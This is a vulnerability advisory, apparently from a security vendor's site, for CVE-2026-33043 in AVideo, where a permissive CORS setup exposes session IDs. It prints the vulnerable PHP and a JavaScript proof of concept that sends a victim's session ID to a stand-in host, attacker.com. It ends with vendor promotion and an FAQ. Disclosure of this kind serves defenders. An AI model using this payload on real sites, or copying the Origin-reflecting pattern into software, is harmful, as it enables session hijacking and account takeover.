Summary
/objects/phpsessionid.json.php exposes the current PHP session ID to any unauthenticated request. The allowOrigin() function reflects any Origin header back in Access-Control-Allow-Origin with Access-Control-Allow-Credentials: true, enabling cross-origin session theft and full account takeover.
Details
File: objects/phpsessionid.json.php
allowOrigin();
$obj = new stdClass();
$obj->phpsessid = session_id();
echo _json_encode($obj);
No authentication is required. The allowOrigin() function in objects/functions.php (line ~2648) reflects the request Origin:
$HTTP_ORIGIN = empty($_SERVER['HTTP_ORIGIN']) ? @$_SERVER['HTTP_REFERER'] : $_SERVER['HTTP_ORIGIN'];
header("Access-Control-Allow-Origin: " . $HTTP_ORIGIN);
header("Access-Control-Allow-Credentials: true");
This means any external website can make a credentialed cross-origin request and read the session ID.
PoC
An attacker hosts the following page:
<script>
fetch('https://TARGET/objects/phpsessionid.json.php', {
credentials: 'include'
})
.then(r => r.json())
.then(d => {
// d.phpsessid = victim's session ID
document.location = 'https://attacker.com/steal?sid=' + d.phpsessid;
});
</script>
When a logged-in AVideo user visits the attacker's page, their PHP session ID is stolen via the permissive CORS policy, allowing the attacker to hijack their session.
Impact
Account Takeover, Any logged-in user (including administrators) who visits an attacker-controlled page will have their session stolen. The attacker can then impersonate them with full privileges.
CVE-2026-33043 has a CVSS score of 8.1 (High). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-33043? CVE-2026-33043 is a high-severity security vulnerability in wwbn/avideo (composer), affecting versions <= 25.0. No fixed version is listed yet.
- How severe is CVE-2026-33043? CVE-2026-33043 has a CVSS score of 8.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of wwbn/avideo are affected by CVE-2026-33043? wwbn/avideo (composer) versions <= 25.0 is affected.
- Is there a fix for CVE-2026-33043? No fixed version is listed for CVE-2026-33043 yet. Monitor the advisory for updates and apply mitigations in the interim.
- Is CVE-2026-33043 exploitable, and should I be worried? Whether CVE-2026-33043 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-33043 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.